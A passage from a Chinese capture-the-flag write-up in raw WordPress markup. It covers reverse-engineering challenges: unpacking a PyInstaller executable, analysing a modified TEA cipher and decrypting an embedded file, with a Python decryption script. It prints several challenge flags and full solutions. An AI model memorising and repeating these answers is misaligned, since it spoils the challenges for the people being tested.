src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2723\"  sizes=\"auto, (max-width: 971px) 100vw, 971px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>-39805434720 1913427864 2877618036 -195296614 -37214631 1704556 44114 -606 1<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u586b\u5165\u5c31\u884c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-391-1024x169.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"169\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-391-1024x169.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2724\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>unictf{19287189-291837918-knsadainwak-siadnwoadiasg}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Strange_Py<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">pyinstxtractor \u89e3\u5305<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-392-1024x279.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"279\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-392-1024x279.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2725\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u89e3\u5305<\/strong>\uff1a\u4f7f\u7528 <code>pyinstxtractor.py<\/code> \u5bf9 <code>encrypt.exe<\/code> \u8fdb\u884c\u89e3\u5305\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u53d1\u73b0\u7f3a\u5931<\/strong>\uff1a\u89e3\u5305\u540e\u53d1\u73b0\u5173\u952e\u903b\u8f91\u4e0d\u5728\u4e3b\u51fd\u6570 <code>encrypt.pyc<\/code> \u4e2d\uff0c\u800c\u662f\u5f15\u7528\u4e86 <code>tea<\/code> \u6a21\u5757\u3002\u4f46\u5728\u81ea\u52a8\u63d0\u53d6\u7684\u6587\u4ef6\u5939\u4e2d\uff0c<code>PYZ-00.pyz_extracted<\/code> \u76ee\u5f55\u4e0b\u6ca1\u6709\u76f4\u63a5\u751f\u6210\u53ef\u7528\u7684 <code>tea.pyc<\/code>\uff08\u6216\u8005\u6587\u4ef6\u5934\u635f\u574f\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">encrypt.pyc<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Source Generated with Decompyle++\n# File: encrypt.pyc (Python 3.9)\n\nimport tkinter as tk\nfrom tkinter import filedialog, messagebox\nfrom os import path\nfile_data = None\nfile_path = None\n\ndef select_file():\n    '''\u9009\u62e9\u6587\u4ef6\u5e76\u8bfb\u53d6\u5b57\u8282\u6570\u636e\u6d41'''\n    global file_path, file_data, file_data\n    file_path = filedialog.askopenfilename('\u9009\u62e9\u52a0\u5bc6\u7684\u6587\u4ef6', &#91;\n        ('\u6240\u6709\u6587\u4ef6', '*.*'),\n        ('\u6587\u672c\u6587\u4ef6', '*.txt'),\n        ('\u4e8c\u8fdb\u5236\u6587\u4ef6', '*.bin')], **('title', 'filetypes'))\n    if not file_path:\n        messagebox.showinfo('\u63d0\u793a', '\u672a\u9009\u62e9\u4efb\u4f55\u6587\u4ef6')\n        return None\n    with open(file_path, 'rb') as f:\n        file_data = f.read()\n        if len(file_data) % 8 != 0:\n            file_data += b'x00' * (8 - len(file_data))\n        None(None, None, None)\n# WARNING: Decompyle incomplete\n\ndef encrypt_and_export():\n    '''\u52a0\u5bc6\u6570\u636e\u5e76\u5bfc\u51fa\u6587\u4ef6'''\n    if file_data is None:\n        messagebox.showwarning('\u8b66\u544a', '\u8bf7\u5148\u9009\u62e9\u5e76\u8bfb\u53d6\u9700\u8981\u52a0\u5bc6\u7684\u6587\u4ef6')\n        return None\n    encoded = encoded\n    import tea\n    encrypted_data = encoded(file_data)\n    save_path = filedialog.asksaveasfilename('\u9009\u62e9\u4fdd\u5b58\u4f4d\u7f6e', '.enc', &#91;\n        ('\u52a0\u5bc6\u6587\u4ef6', '*.enc'),\n        ('\u6240\u6709\u6587\u4ef6', '*.*')], **('title', 'defaultextension', 'filetypes'))\n    if not save_path:\n        messagebox.showinfo('\u63d0\u793a', '\u53d6\u6d88\u4fdd\u5b58')\n    return None\n    with open(save_path, 'wb') as f:\n        f.write(encrypted_data)\n        None(None, None, None)\n# WARNING: Decompyle incomplete\n\nroot = tk.Tk()\nroot.title('\u6587\u4ef6\u52a0\u5bc6\u5de5\u5177')\nroot.geometry('400x200')\nbtn_select = tk.Button(root, '\u9009\u62e9\u52a0\u5bc6\u7684\u6587\u4ef6', select_file, 20, 2, **('text', 'command', 'width', 'height'))\nbtn_select.pack(20, **('pady',))\nbtn_encrypt = tk.Button(root, '\u52a0\u5bc6\u5bfc\u51fa', encrypt_and_export, 20, 2, **('text', 'command', 'width', 'height'))\nbtn_encrypt.pack(10, **('pady',))\nroot.mainloop()\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-393.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"409\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-393.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2726\"  sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u624b\u52a8\u63d0\u53d6<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u4f7f\u7528 <code>pyi-archive_viewer<\/code> \u5de5\u5177\u6253\u5f00 <code>encrypt.exe<\/code>\u3002<\/li>\n\n\n\n<li>\u8fdb\u5165 <code>PYZ-00.pyz<\/code>\u3002<\/li>\n\n\n\n<li>\u627e\u5230\u5e76\u63d0\u53d6 <code>tea<\/code> \u6587\u4ef6\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u4fee\u590d\u6587\u4ef6\u5934<\/strong>\uff1a\u63d0\u53d6\u51fa\u7684 <code>tea<\/code> \u6587\u4ef6\u7f3a\u5c11 Python \u7684 Magic Number\u3002\u6839\u636e\u4e3b\u7a0b\u5e8f\u7248\u672c\uff08Python 3.9\uff09\uff0c\u4f7f\u7528\u5341\u516d\u8fdb\u5236\u7f16\u8f91\u5668\u6216\u811a\u672c\u8865\u5168\u6587\u4ef6\u5934 16 \u5b57\u8282\uff08\u4f8b\u5982 <code>61 0d 0d 0a 00 00 00 00 ...<\/code>\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u53cd\u7f16\u8bd1<\/strong>\uff1a\u4fee\u590d\u540e\u4f7f\u7528 <code>pycdc<\/code> \u6216 <code>pycdas<\/code> \u5f97\u5230\u6c47\u7f16\u6307\u4ee4\u6216\u6e90\u7801\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>pyi-archive_viewer encrypt.exe<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-394-1024x526.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"526\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-394-1024x526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2727\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-395-1024x526.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"526\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-395-1024x526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2728\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-396.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"934\" height=\"394\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-396.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2729\"  sizes=\"auto, (max-width: 934px) 100vw, 934px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u52a0\u5bc6\u903b\u8f91<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1. \u5bc6\u94a5\u751f\u6210\u4e0e\u53d8\u6362<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u4ee3\u7801\u8c03\u7528 <code>randint1(16)<\/code> \u751f\u6210\u4e86 16 \u5b57\u8282\u7684\u539f\u59cb\u968f\u673a\u6570\u3002<\/li>\n\n\n\n<li>\u5173\u952e\u70b9\uff1a\u8fd9 16 \u5b57\u8282\u901a\u8fc7 <code>join1<\/code>\uff08\u8f6c\u5341\u516d\u8fdb\u5236\u5b57\u7b26\u4e32\uff09\u548c <code>by<\/code>\uff08\u8f6c\u5927\u7aef\u5e8f\u6574\u6570\u5217\u8868\uff09\u4e24\u4e2a\u51fd\u6570\u5904\u7406\u540e\uff0c\u624d\u4f5c\u4e3a TEA \u7b97\u6cd5\u7684 <code>key<\/code>\u3002<\/li>\n\n\n\n<li>\u8fd9\u610f\u5473\u7740\u6211\u4eec\u89e3\u5bc6\u65f6\uff0c\u62ff\u5230\u5b57\u8282\u540e\u9700\u8981\u6309 <strong>Big Endian\uff08\u5927\u7aef\u5e8f\uff09<\/strong> \u8f6c\u6362\u4e3a\u6574\u6570\u6570\u7ec4\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2. \u9b54\u6539 TEA \u7b97\u6cd5\u53c2\u6570<\/strong> \u4ece\u6c47\u7f16\u6307\u4ee4\u4e2d\u63d0\u53d6\u51fa\u5e38\u6570\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Delta<\/strong>\uff1a<code>305419896<\/code> (\u5341\u516d\u8fdb\u5236 <code>0x12345678<\/code>)\u3002<\/li>\n\n\n\n<li><strong>Rounds<\/strong>\uff1a<code>50<\/code> \u8f6e\uff08\u6807\u51c6 TEA \u901a\u5e38\u662f 32 \u8f6e\uff09\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3. \u9b54\u6539 TEA \u6838\u5fc3\u8fd0\u7b97<\/strong> \u6700\u5173\u952e\u7684\u4fee\u6539\u5728\u4e8e <code>v1<\/code> \u7684\u66f4\u65b0\u903b\u8f91\u3002\u5728\u6c47\u7f16\u4e2d\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BINARY_RSHIFT\nBINARY_SUBTRACT  &lt;-- \u5173\u952e\u6307\u4ee4<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u8868\u660e\u5728\u8ba1\u7b97\u8fc7\u7a0b\u4e2d\uff0c\u6709\u4e00\u6b65\u662f\u5c06 <code>key[3]<\/code> \u51cf\u53bb <code>(v0 &gt;&gt; 5)<\/code>\uff0c\u800c\u4e0d\u662f\u6807\u51c6\u7b97\u6cd5\u7684\u52a0\u6cd5\u3002\u8fd9\u662f\u89e3\u5bc6\u811a\u672c\u7f16\u5199\u4e2d\u6700\u5bb9\u6613\u51fa\u9519\u7684\u5730\u65b9\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>4. \u6587\u4ef6\u7ed3\u6784\u4e0e XOR<\/strong> \u5206\u6790\u5faa\u73af\u903b\u8f91\u53d1\u73b0\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u52a0\u5bc6\u6570\u636e\u4ee5 16 \u5b57\u8282\u4e3a\u4e00\u4e2a\u5757\u3002<\/li>\n\n\n\n<li>\u524d 8 \u5b57\u8282\u7ecf\u8fc7 TEA \u52a0\u5bc6\u3002<\/li>\n\n\n\n<li>\u540e 8 \u5b57\u8282\u662f\u968f\u673a\u751f\u6210\u7684\u63a9\u7801\uff08Salt\uff09\u3002<\/li>\n\n\n\n<li>\u5bc6\u6587\u751f\u6210\u903b\u8f91\uff1a<code>TEA_Encrypt(Data) ^ Salt<\/code>\u3002<\/li>\n\n\n\n<li><strong>Key \u7684\u4f4d\u7f6e<\/strong>\uff1a\u7531\u4e8e\u4ee3\u7801\u662f\u8ffd\u52a0\u5199\u5165\uff0c\u4e14\u6211\u4eec\u5728\u5c1d\u8bd5\u89e3\u5bc6\u65f6\u53d1\u73b0\u4ece\u6587\u4ef6\u5934\u89e3\u5bc6\u5931\u8d25\uff0c\u63a8\u65ad <strong>Key \u88ab\u8ffd\u52a0\u5230\u4e86\u6587\u4ef6\u672b\u5c3e<\/strong>\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u89e3flag.enc \u811a\u672c\u5448\u73b0<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import struct\nfrom ctypes import c_uint32\nimport os\n\ndef tea_decrypt_block(v0, v1, key, rounds=50, delta=0x12345678):\n    v0 = c_uint32(v0)\n    v1 = c_uint32(v1)\n    v = c_uint32(0)\n    for _ in range(rounds):\n        v.value = (v.value - delta) &amp; 0xFFFFFFFF\n    for _ in range(rounds):\n        temp_sum_v_v0 = (v.value + v0.value) &amp; 0xFFFFFFFF\n        temp_key3_v0_shift = (key&#91;3] - (v0.value &gt;&gt; 5)) &amp; 0xFFFFFFFF\n        temp_key2_16v0 = (key&#91;2] + (v0.value &lt;&lt; 4)) &amp; 0xFFFFFFFF\n        temp_v1_update = temp_sum_v_v0 ^ temp_key3_v0_shift ^ temp_key2_16v0\n        v1.value = (v1.value - temp_v1_update) &amp; 0xFFFFFFFF\n        temp_sum_v_v1 = (v.value + v1.value) &amp; 0xFFFFFFFF\n        temp_key1_v1_shift = (key&#91;1] + (v1.value &gt;&gt; 5)) &amp; 0xFFFFFFFF\n        temp_key0_16v1 = (key&#91;0] + (v1.value &lt;&lt; 4)) &amp; 0xFFFFFFFF\n        temp_v0_update = temp_sum_v_v1 ^ temp_key1_v1_shift ^ temp_key0_16v1\n        v0.value = (v0.value - temp_v0_update) &amp; 0xFFFFFFFF\n        v.value = (v.value + delta) &amp; 0xFFFFFFFF\n    return v0.value, v1.value\n\ndef xor_bytes(data, key_bytes):\n    return bytes(&#91;a ^ b for a, b in zip(data, key_bytes)])\n\ndef join1(byte_list):\n    return ''.join(f'{b:02x}' for b in byte_list)\n\ndef by(hex_str):\n    result = &#91;]\n    for i in range(0, len(hex_str), 8):\n        result.append(int(hex_str&#91;i:i+8], 16))\n    return result\n\ndef main():\n    if not os.path.exists('flag.enc'):\n        print(\"flag.enc not found\")\n        return\n\n    with open('flag.enc', 'rb') as f:\n        enc_data = f.read()\n\n    bt_len = 0\n    k_bytes = b''\n    found = False\n\n    for padding in range(32):\n        possible_len = len(enc_data) - 16 - padding\n        if possible_len &gt; 0 and possible_len % 16 == 0:\n            bt_len = possible_len\n            k_bytes = enc_data&#91;bt_len:bt_len+16]\n            found = True\n            break\n\n    if not found:\n        print(\"Key not found\")\n        return\n\n    bt = enc_data&#91;:bt_len]\n    key_hex = join1(list(k_bytes))\n    key = by(key_hex)\n\n    decrypted = b''\n    for i in range(0, len(bt), 16):\n        block = bt&#91;i:i+16]\n        tea_enc = block&#91;:8]\n        n2 = block&#91;8:16]\n\n        v0 = int.from_bytes(tea_enc&#91;:4], 'big')\n        v1 = int.from_bytes(tea_enc&#91;4:], 'big')\n\n        d0, d1 = tea_decrypt_block(v0, v1, key)\n\n        decrypted_block = d0.to_bytes(4, 'big') + d1.to_bytes(4, 'big')\n        decrypted += xor_bytes(decrypted_block, n2)\n\n    print(decrypted.hex())\n\nif __name__ == '__main__':\n    main()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-397-1024x526.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"526\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-397-1024x526.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2730\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">4d5a\u5f00\u5934\u662f PE \u6587\u4ef6windows\u53ef\u6267\u884c\u6587\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-398-1024x352.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"352\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-398-1024x352.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2731\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">010\u5bfc\u5165\u5341\u516d\u8fdb\u5236<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-399-1024x649.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"649\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-399-1024x649.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2732\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fdd\u5b58\u4e3aexe<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-400-1024x525.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"525\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-400-1024x525.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2733\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>Unictf{W0OL!!!_Y0uh@Ve_fOuNd_mE}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">r_zip<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-402-1024x557.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"557\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-402-1024x557.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2735\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u81ea\u5b9a\u4e49\u538b\u7f29IDA\u5206\u6790compress<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u5b9a\u4f4d\u6838\u5fc3\u51fd\u6570<\/strong>\uff1a\u901a\u8fc7\u4ea4\u53c9\u5f15\u7528\u6216 main \u5165\u53e3\uff0c\u5b9a\u4f4d\u5230\u6838\u5fc3\u903b\u8f91\u51fd\u6570 <strong><code>compress::main<\/code><\/strong>\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-403-1024x563.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"563\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-403-1024x563.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2736\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" 